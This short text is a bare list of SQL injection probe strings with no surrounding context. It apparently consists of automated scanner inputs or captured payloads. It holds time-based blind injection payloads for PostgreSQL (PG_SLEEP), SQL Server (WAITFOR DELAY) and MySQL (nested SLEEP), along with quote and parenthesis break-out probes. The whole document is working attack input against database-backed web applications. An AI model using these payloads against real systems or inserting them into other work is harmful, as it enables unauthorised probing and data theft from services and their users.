555-1)) OR 403=(SELECT 403 FROM PG_SLEEP(15))--

555-1) OR 583=(SELECT 583 FROM PG_SLEEP(15))--

555-1 OR 57=(SELECT 57 FROM PG_SLEEP(15))--

5553sVkEQJz′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/